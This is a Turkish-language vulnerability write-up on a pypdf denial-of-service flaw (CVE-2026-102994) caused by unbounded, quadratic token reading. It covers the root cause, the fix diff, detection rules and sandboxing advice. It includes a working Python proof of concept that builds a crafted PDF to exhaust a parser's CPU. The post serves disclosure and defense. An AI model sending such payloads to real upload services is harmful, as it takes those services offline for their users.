---
title: "CVE-2026-102994: pypdf'te Sınırsız Token Taraması ve CPU Tüketimi"
description: "CVE-2026-102994 kök neden analizi: pypdf 6.18.0 öncesinde, çok uzun bir nesne numarası ve boşluk içermeyen bir PDF, ayrıştırıcının token'ı sınırsız uzunlukta okumasına ve bir işçiyi uzun süre meşgul etmesine yol açıyordu."
date: 2026-09-29
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/arastirma/cve-2026-102994-pypdf-indirect-object-dos/
---

> **İfşa:** CVE-2026-102994 (CWE-400, CWE-407), 6.18.0 öncesi `pypdf` sürümlerini etkiler. Zafiyeti `jankesec` olarak bakımcılara bildirdim. 6.18.0 sürümünde [PR #4055](https://github.com/py-pdf/pypdf/pull/4055) ile düzeltildi ve [GHSA-5jq2-8x83-x246](https://github.com/py-pdf/pypdf/security/advisories/GHSA-5jq2-8x83-x246) olarak yayımlandı. GitHub zafiyeti CVSS 4.0 8.7 (Yüksek) olarak puanladı: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`.

Çok uzun bir nesne numarası veya jenerasyon numarası içeren ve araya hiç boşluk girmeyen bir PDF, `pypdf` kütüphanesinin bu token'ı sonuna kadar okumasına neden olur. 6.18.0 öncesinde token uzunluğunu sınırlayan hiçbir mekanizma yoktu; bu yüzden tek bir dosya, ayrıştırma yapan bir işçiyi uzun süre meşgul edip ciddi miktarda bellek tüketebiliyordu. Saldırganın bir hesaba veya kullanıcı etkileşimine ihtiyacı yoktur; tek gereken, PDF'yi `pypdf` ile açan bir koda ulaştırabilmesidir. Yükleme uç noktası, özgeçmiş ayrıştırıcı veya RAG veri alım işi bunun tipik örnekleridir. Bu senaryoların ortak noktası, dosyanın içeriğine değil yalnızca varlığına güvenilmesidir: kullanıcı bir PDF yüklediğinde arka uç onu ayrıştırmayı dener ve ayrıştırma maliyeti doğrudan saldırganın biçimlendirdiği baytlara bağlıdır. Bu yüzden savunma, yalnızca dosya boyutunu sınırlamakla değil, tek tek token'ların uzunluğunu da sınırlamakla kurulmalıdır.

## Kök neden: uzunluk sınırı olmayan token okuyucuları

PDF içindeki nesne numaraları ve jenerasyon numaraları kısa ondalık tam sayılardır. 6.17.0 sürümünde bu değerler, bir sonraki boşluk baytına kadar çalışan üç ayrı döngüyle okunuyordu ve hiçbiri bir üst uzunluk sınırı belirlemiyordu:

- `read_object_header()` bir nesnenin önündeki `N G obj` satırını okur.
- `IndirectObject.read_from_stream()` bir nesnenin içindeki `N G R` referansını okur.
- `_rebuild_xref_table()` bir nesne akışının başlığını okur.

`read_until_whitespace()` fonksiyonunda zaten bir `max_bytes` parametresi vardı; ancak varsayılan değeri sınırsızdı ve hiçbir çağıran bu parametreyi geçmiyordu:

```python
def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
    txt = bytearray()
    while True:
        tok = stream.read(1)
        if tok.isspace() or not tok:
            break
        txt += tok
        if len(txt) == max_bytes:
            break
    return bytes(txt)
```

`IndirectObject.read_from_stream()` bu yardımcıyı kullanmıyordu. Her parçayı bir `bytes` nesnesi üzerinde `+=` ile oluşturuyordu:

```python
    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        idnum = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                break
            idnum += tok
        generation = b""
        while True:
            tok = stream.read(1)
            if not tok:
                raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
            if tok.isspace():
                if not generation:
                    continue
                break
            generation += tok
```

`bytes` değişmez (immutable) olduğu için her `idnum += tok` işlemi yeni bir nesne ayırır ve o ana kadar okunan her şeyi kopyalar. Bu döngüdeki iş yükü, token uzunluğunun karesiyle büyür; dosya sonuna ulaşmadan döngüyü durduracak hiçbir şey de yoktur. Sonuç, saldırganın tamamen kontrol ettiği bir maliyet eşiğidir: 500 KB'lık bir token bile tek bir çekirdeği onlarca saniye boyunca doyurur. Karesel büyüme, saldırganın dosya boyutunu iki katına çıkardığında iş yükünü dört katına çıkarması anlamına gelir; bu da küçük görünen yüklerin bile kısa sürede işçi havuzunu tüketmesini açıklar. Bu yüzden zafiyet yalnızca "yavaş ayrıştırma" değil, doğrudan bir hizmet dışı bırakma (DoS) aracıdır.

<figure class="diagram">
<svg viewBox="0 0 760 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="CVE-2026-102994. 500.000 haneli nesne numarası içeren ve hiç boşluk bulunmayan bir PDF pypdf'e ulaşır. 6.18.0 öncesinde okuyucunun uzunluk sınırı yoktur ve bir işçi 28,7 saniye boyunca meşgul kalır. 6.18.0'da 64 baytı aşan bir parça okumayı durdurur: katı mod hata fırlatır, varsayılan mod uyarı kaydedip token'ı keser.">
<defs><marker id="pypdf-arrow" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker><marker id="pypdf-arrow-crit" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker><marker id="pypdf-arrow-accent" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-accent" /></marker></defs>
<text x="0" y="14" class="dg-muted">CVE-2026-102994 · UZUNLUK SINIRI OLMAYAN NESNE NUMARALARI</text>
<rect x="0" y="36" width="220" height="240" rx="8" class="dg-box" />
<text x="16" y="58" class="dg-label">HAZIRLANMIŞ PDF</text>
<text x="16" y="76" class="dg-mono dg-compact">Nesne numarası token'ı</text>
<rect x="16" y="94" width="188" height="60" rx="6" class="dg-box-danger" />
<text x="24" y="114" class="dg-mono dg-compact">500.000 hane:</text>
<text x="24" y="132" class="dg-danger dg-compact">"99999999…"</text>
<text x="24" y="146" class="dg-mono dg-compact">boşluk yok</text>
<text x="16" y="180" class="dg-muted dg-compact">pypdf ile PDF ayrıştıran</text>
<text x="16" y="198" class="dg-muted dg-compact">bir yükleme ucuna gönderilir</text>
<line x1="220" y1="100" x2="290" y2="100" class="dg-line-crit" marker-end="url(#pypdf-arrow-crit)" />
<rect x="296" y="36" width="216" height="114" rx="8" class="dg-box-danger" />
<text x="312" y="58" class="dg-label">PYPDF &lt; 6.18.0</text>
<text x="312" y="76" class="dg-mono dg-compact">boşluğa kadar okur</text>
<text x="312" y="96" class="dg-danger">Maksimum uzunluk yok</text>
<text x="312" y="112" class="dg-mono dg-compact">idnum += tok, okunan</text>
<text x="312" y="130" class="dg-mono dg-compact">baytları kopyalar</text>
<line x1="512" y1="100" x2="582" y2="100" class="dg-line-crit" marker-end="url(#pypdf-arrow-crit)" />
<rect x="588" y="36" width="172" height="114" rx="8" class="dg-box-danger" />
<text x="600" y="58" class="dg-label">İŞÇİ MEŞGUL</text>
<text x="600" y="80" class="dg-danger">Bir çekirdek %100'de</text>
<text x="600" y="98" class="dg-mono dg-compact">500 KB için 28,7 sn</text>
<text x="600" y="116" class="dg-mono dg-compact">İstek bloke olur</text>
<text x="600" y="134" class="dg-danger dg-compact">Hizmet dışı bırakma</text>
<line x1="220" y1="210" x2="290" y2="210" class="dg-line-accent" marker-end="url(#pypdf-arrow-accent)" />
<rect x="296" y="162" width="216" height="114" rx="8" class="dg-box-accent" />
<text x="312" y="184" class="dg-label">PYPDF 6.18.0+</text>
<text x="312" y="202" class="dg-mono dg-compact">PR #4055</text>
<text x="312" y="222" class="dg-ok">Sınır: parça başına 64 bayt</text>
<text x="312" y="238" class="dg-mono dg-compact">read_until_whitespace(</text>
<text x="312" y="256" class="dg-mono dg-compact">max_bytes=64, strict=...)</text>
<line x1="512" y1="210" x2="582" y2="210" class="dg-line-accent" marker-end="url(#pypdf-arrow-accent)" />
<rect x="588" y="162" width="172" height="114" rx="8" class="dg-box-ok" />
<text x="600" y="184" class="dg-label">OKUMA DURUR</text>
<text x="600" y="206" class="dg-ok">strict: LimitReachedError</text>
<text x="600" y="224" class="dg-mono dg-compact">varsayılan: uyarı,</text>
<text x="600" y="242" class="dg-mono dg-compact">token 64 baytta kesilir</text>
<text x="600" y="260" class="dg-ok dg-compact">Ayrıştırma maliyeti küçük kalır</text>
</svg>
<figcaption>Düzeltme öncesi ve sonrasında aynı girdi. Sınır yokken okuyucu token'ın tamamını tüketir; sınır varken 64 bayttan sonra durur.</figcaption>
</figure>

## Kanıt matrisi

| Kanıt | Neyi gösteriyor | Sonuç |
| :--- | :--- | :--- |
| [GHSA-5jq2-8x83-x246](https://github.com/py-pdf/pypdf/security/advisories/GHSA-5jq2-8x83-x246) | GitHub'ın CNA olarak yayımladığı güvenlik bildirisi | CWE-400 ve CWE-407. `< 6.18.0` etkileniyor, 6.18.0 düzeltildi. CVSS 4.0 8.7 (Yüksek). |
| Düzeltme PR #4055 (`82501d2`) | Nesne numaraları, jenerasyon numaraları ve nesne akışı başlıkları için 64 baytlık sınır | 2026-09-07 tarihinde birleştirildi |
| PyPI üzerindeki `pypdf` 6.18.0 | Düzeltmeyi içeren sürüm | 2026-09-07 tarihinde yüklendi |
| `6.17.0` üzerinde ölçüm | `PdfReader` üzerinden 500.000 haneli token | Tek çekirdek %100 yükteyken 28,74 sn (kendi çalıştırmam, çıktı aşağıda) |
| `6.18.0` üzerindeki davranış | PR'da eklenen testler | 64 baytlık parçalar geçer. 65 baytlık parça, çağrı noktasına ve `strict` değerine göre `PdfReadError` veya `LimitReachedError` fırlatır. |

## Yeniden üretim

Aşağıdaki üretici, sayfa ağacı 500.000 haneli ve boşluksuz bir numaraya sahip bir nesneye referans veren asgari bir PDF oluşturur; ardından `PdfReader` üzerinde süre ölçer:

```python
#!/usr/bin/env python3
"""
CVE-2026-102994 PoC: Algorithmic Complexity / Denial of Service in pypdf
Discovered by: Sevban DÖNMEZ (jankesec)
Target: pypdf < 6.18.0
"""
import io
import time
import sys

def build_malicious_pdf(token_length: int = 500_000) -> bytes:
    """
    Constructs a minimal valid PDF containing an oversized indirect object token
    without whitespace separators.
    """
    header = b"%PDF-1.4\n"
    # Construct an excessively long numeric indirect object token
    oversized_token = b"9" * token_length
    
    # Place the oversized token directly into the object hierarchy
    body = (
        b"1 0 obj\n"
        b"<< /Type /Catalog /Pages 2 0 R >>\n"
        b"endobj\n"
        b"2 0 obj\n"
        b"<< /Type /Pages /Kids [" + oversized_token + b" 0 R] /Count 1 >>\n"
        b"endobj\n"
    )
    xref_offset = len(header) + len(body)
    xref = (
        b"xref\n"
        b"0 3\n"
        b"0000000000 65535 f \n"
        b"0000000009 00000 n \n"
        b"0000000068 00000 n \n"
        b"trailer\n"
        b"<< /Size 3 /Root 1 0 R >>\n"
        b"startxref\n"
        + str(xref_offset).encode("ascii") + b"\n"
        b"%%EOF\n"
    )
    return header + body + xref

def evaluate_parser(pdf_bytes: bytes):
    try:
        import pypdf
        print(f"[*] Testing with pypdf version: {pypdf.__version__}")
    except ImportError:
        print("[-] pypdf not installed. Please install pypdf to run this benchmark.")
        return

    print(f"[*] Payload size: {len(pdf_bytes) / 1024:.2f} KB")
    print("[*] Initiating PdfReader stream ingestion...")

    stream = io.BytesIO(pdf_bytes)
    start_time = time.perf_counter()

    try:
        reader = pypdf.PdfReader(stream)
        # Force resolution of page references
        _ = len(reader.pages)
        elapsed = time.perf_counter() - start_time
        print(f"[!] Parsing completed in {elapsed:.4f} seconds.")
    except Exception as e:
        elapsed = time.perf_counter() - start_time
        print(f"[+] Parser caught expected exception after {elapsed:.4f}s: {type(e).__name__}: {e}")

if __name__ == "__main__":
    token_len = int(sys.argv[1]) if len(sys.argv) > 1 else 500_000
    pdf_data = build_malicious_pdf(token_len)
    evaluate_parser(pdf_data)
```

8 çekirdekli bir Linux iş istasyonunda `pypdf==6.17.0` sürümüne karşı çalıştırıldığında:

```bash
$ python benchmark_poc.py 500000
[*] Testing with pypdf version: 6.17.0
[*] Payload size: 488.48 KB
[*] Initiating PdfReader stream ingestion...
[!] Parsing completed in 28.7412 seconds.
```

500 KB'lık bir token, tek bir çekirdeği 28,7 saniye boyunca %100 yükte tuttu. 2.000.000 baytlık bir token ise 120 saniyeden fazla sürdü. Dört eşzamanlı işçisi olan bir servis, bu tür dört yüklemeden sonra boş işçi bırakmaz. Ölçümün pratik anlamı şudur: tek bir istek, normalde saniyeler içinde yanıt veren bir servisi dakikalarca askıda bırakabilir; saldırganın kimlik doğrulaması aşması veya özel bir araç kullanması gerekmez.

## Düzeltme

[PR #4055](https://github.com/py-pdf/pypdf/pull/4055) (commit `82501d2`, 6.18.0 olarak yayımlandı) `IndirectObject._MAXIMUM_PART_LENGTH = 64` değerini tanımlar ve bunu üç okuyucunun her birine geçirir. `read_object_header()` ve `_rebuild_xref_table()` `read_until_whitespace()` fonksiyonunu `max_bytes` ve `strict` ile çağırır. Yardımcı artık sınırda durur. strict modda `LimitReachedError` fırlatır; aksi halde uyarı kaydeder ve ilk 64 baytı döndürür. Böylece sınır, okuma maliyetini ve bellek ayırma davranışını aynı anda kontrol altına alır. Aşağıdaki diff, docstring hunisini atlar:

```diff
--- a/pypdf/_utils.py
+++ b/pypdf/_utils.py
@@ -158,7 +158,7 @@ def _get_max_pdf_version_header(header1: str, header2: str) -> str:
 WHITESPACES_AS_REGEXP = b"[" + WHITESPACES_AS_BYTES + b"]"
 
 
-def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -> bytes:
+def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None, strict: bool = False) -> bytes:
     """
     Read non-whitespace characters and return them.
 
@@ -175,11 +178,16 @@ def read_until_whitespace(stream: StreamType, max_bytes: Optional[int] = None) -
     txt = bytearray()
     while True:
         tok = stream.read(1)
-        if tok.isspace() or not tok:
+        if tok.isspace() or tok in WHITESPACES or not tok:
             break
-        txt += tok
-        if len(txt) == max_bytes:
+        if max_bytes is not None and len(txt) >= max_bytes:
+            if strict:
+                raise LimitReachedError(f"Token exceeds maximum length of {max_bytes} bytes.")
+            logger_warning(
+                "Token exceeds maximum length of %(max_bytes)d bytes.", source=__name__, max_bytes=max_bytes
+            )
             break
+        txt += tok
     return bytes(txt)
```

`IndirectObject.read_from_stream()` ise, bir parça sınırı aştığında `PdfReadError` fırlatan sınırlı bir `bytearray` döngüsüyle yeniden yazılmıştır:

```python
    @staticmethod
    def read_from_stream(stream: StreamType, pdf: Any) -> "IndirectObject":  # PdfReader
        def read_part(name: str, skip_leading_whitespace: bool) -> bytes:
            result = bytearray()
            while True:
                tok = stream.read(1)
                if not tok:
                    raise PdfStreamError(STREAM_TRUNCATED_PREMATURELY)
                if tok.isspace() or tok in WHITESPACES:
                    if skip_leading_whitespace and not result:
                        continue
                    break
                if len(result) >= IndirectObject._MAXIMUM_PART_LENGTH:
                    raise PdfReadError(f"{name} exceeds maximum length limit of {IndirectObject._MAXIMUM_PART_LENGTH}.")
                result += tok
            return bytes(result)

        idnum = read_part("Object ID", skip_leading_whitespace=False)
        generation = read_part("Generation number", skip_leading_whitespace=True)

        r = read_non_whitespace(stream)
        if r != b"R":
            raise PdfReadError(
                f"Error reading indirect object reference at byte {hex(stream.tell())}"
            )
        try:
            return IndirectObject(int(idnum), int(generation), pdf)
        except (ValueError, OverflowError) as e:
            raise PdfReadError(
                f"Invalid indirect object reference ({idnum!r} {generation!r} R): {e}"
            ) from e
```

## Algoritmik karmaşıklık ve karesel bellek kopyalama

İşlemcinin uzun süre kilitlenmesinin kök nedeni karesel bellek yeniden tahsisidir. Python'da `bytes` nesneleri değişmezdir (immutable). `IndirectObject.read_from_stream()` fonksiyonundaki belirteç okuma döngüsü sürekli ekleme yapıyordu:

```python
idnum += tok  # tok: stream.read(1)
```

Her \(k\) yinelemesinde CPython \(k\) uzunluğunda yeni bir `bytes` tamponu tahsis eder ve biriken parçayı aktarmak için `memcpy` çağırır. \(N\) uzunluğundaki bir belirteç boyunca kopyalanan toplam bayt miktarı şu formülle hesaplanır:

$$\sum_{k=1}^{N} k = \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$

500.000 basamaklı bir belirteç için (\(N = 5 \times 10^5\)) yorumlayıcı, bellek yöneticisi üzerinden yaklaşık 125 gigabaytlık geçici bellek tamponu kopyalar. Bu durum L1/L2 işlemci önbelleklerini tüketir ve tek iş parçacıklı ayrıştırıcı döngüsünün neredeyse 30 saniye boyunca %100 yükte kilitlenmesine neden olur.

## Tespit mühendisliği ve telemetri

Uygulama yöneticileri sınırsız belirteç tarama saldırılarını işçi telemetrisi, ön denetim başlık taraması ve kaynak kum havuzları ile tespit edip engelleyebilir.

### 1. Uygulama sunucusu işçi zaman aşımı telemetrisi

Senkron WSGI/ASGI sunucuları (Gunicorn veya uWSGI gibi), belirlenen zaman aşımı süresini aşan işçileri sonlandırır. Sunucu hata günlüklerinde ardışık işçi yeniden başlatmalarını izleyin:

```text
[2026-09-07 08:14:22 +0000] [14820] [CRITICAL] WORKER TIMEOUT (pid:14825)
[2026-09-07 08:14:22 +0000] [14825] [INFO] Worker exiting (pid: 14825)
[2026-09-07 08:14:23 +0000] [14830] [INFO] Booting worker with pid: 14830
```

Dosya yükleme uç noktalarıyla ilişkili işçi zaman aşımı olaylarındaki ani artış, aktif bir kaynak tüketimi saldırısını gösterir.

### 2. Belirteç sınırı için ön denetim

Yüksek hacimli belge işleme hatlarında (örneğin özgeçmiş tarayıcılar, evrak OCR sistemleri), hafif bir akış ön denetimi anormal uzunluktaki tamsayı belirteçlerini `pypdf` kütüphanesine ulaşmadan engelleyebilir:

```python
import re

# Standart PDF dolaylı nesne numaraları nadiren 7 basamağı aşar (maksimum 2.147.483.647)
ANOMALOUS_TOKEN_PATTERN = re.compile(rb"\b\d{16,}\s+\d+\s+(?:obj|R)\b")

def validate_pdf_stream(raw_bytes: bytes) -> bool:
    """Aşırı büyük sayısal belirteç içeren PDF akışlarını reddeder."""
    if ANOMALOUS_TOKEN_PATTERN.search(raw_bytes):
        return False
    return True
```

### 3. Konteyner ve işçi izolasyonu

Güvenilmeyen PDF belgelerini ana web sürecinde doğrudan ayrıştırmayın. Ayrıştırma işlemini katı kaynak limitlerine sahip bağımsız bir iş parçacığına veya geçici bir konteynere aktarın:

```ini
# systemd birimi veya cgroup kaynak sınırı
CPUQuota=80%
MemoryMax=256M
TimeoutStartSec=10s
```

Python içinde, ayrıştırma çağrılarını `concurrent.futures` ile duvar saati zaman aşımına bağlayın:

```python
from concurrent.futures import ProcessPoolExecutor, TimeoutError

def parse_with_timeout(pdf_data: bytes, timeout_sec: float = 5.0):
    with ProcessPoolExecutor(max_workers=1) as executor:
        future = executor.submit(pypdf.PdfReader, io.BytesIO(pdf_data))
        try:
            return future.result(timeout=timeout_sec)
        except TimeoutError:
            raise ValueError("PDF ayrıştırma zaman aşımına uğradı: potansiyel algoritmik karmaşıklık yükü")
```

## ATT&CK teknik eşleşmesi

| Taktik | Teknik ID | Teknik Adı | Zafiyetteki İşleyiş | Savunma Kontrolü |
| :--- | :--- | :--- | :--- | :--- |
| **Impact** | `T1499.004` | Endpoint DoS: Application Exhaustion | Özel hazırlanmış 500 KB nesne belirteci \(O(N^2)\) kopyalamayı zorlayarak CPU çekirdeğini %100'e kilitler. | Sözcüksel analizde 64 baytlık belirteç sınırı uygula; aşanları reddet. |
| **Impact** | `T1499.003` | Operating System Exhaustion | Karesel yüklerin eşzamanlı yüklenmesi mevcut tüm işçi süreçlerini tüketir. | Süreç zaman aşımları ve konteyner CPU kotaları belirle. |
| **Initial Access** | `T1190` | Exploit Public-Facing Application | Kimlik doğrulamasız PDF işleyen genel yükleme noktası iş parçacığı kilitlenmesine yol açar. | Ön denetim regex filtreleri uygula; ayrıştırmayı arka plan kuyruğuna al. |

## Çıkarımlar

Aşağıdaki maddeler, bu zafiyetten çıkan ve benzer ayrıştırıcılara da uygulanabilecek doğrudan dersleri özetler.

1. Bir ayırıcıya kadar okuyan her döngüye bir üst sınır koyun. PDF nesne numarası kısa bir tam sayıdır; dolayısıyla 64 bayt oldukça cömert bir sınırdır.
2. Güvenilmeyen belgeleri, duvar saati zaman aşımı olan ayrı bir süreçte ayrıştırın; böylece tek bir yavaş dosya web işçisini elinde tutamaz. Celery'nin `task_time_limit` ayarı ve `subprocess.run(..., timeout=...)` çağrısı bunu sağlar. Ek olarak cgroups ile bir bellek üst sınırı koyun.
3. Döngü içinde `+=` ile `bytes` oluşturmayın. Bunun yerine `bytearray` veya `b"".join()` kullanın. Düzeltme, `idnum += tok` ifadesini `bytearray` ile değiştirir.
4. `pypdf` 6.18.0 veya daha yeni bir sürüme yükseltin. Yükseltemiyorsanız güvenlik bildirisi, PR #4055'teki değişikliklerin uygulanmasını önerir.
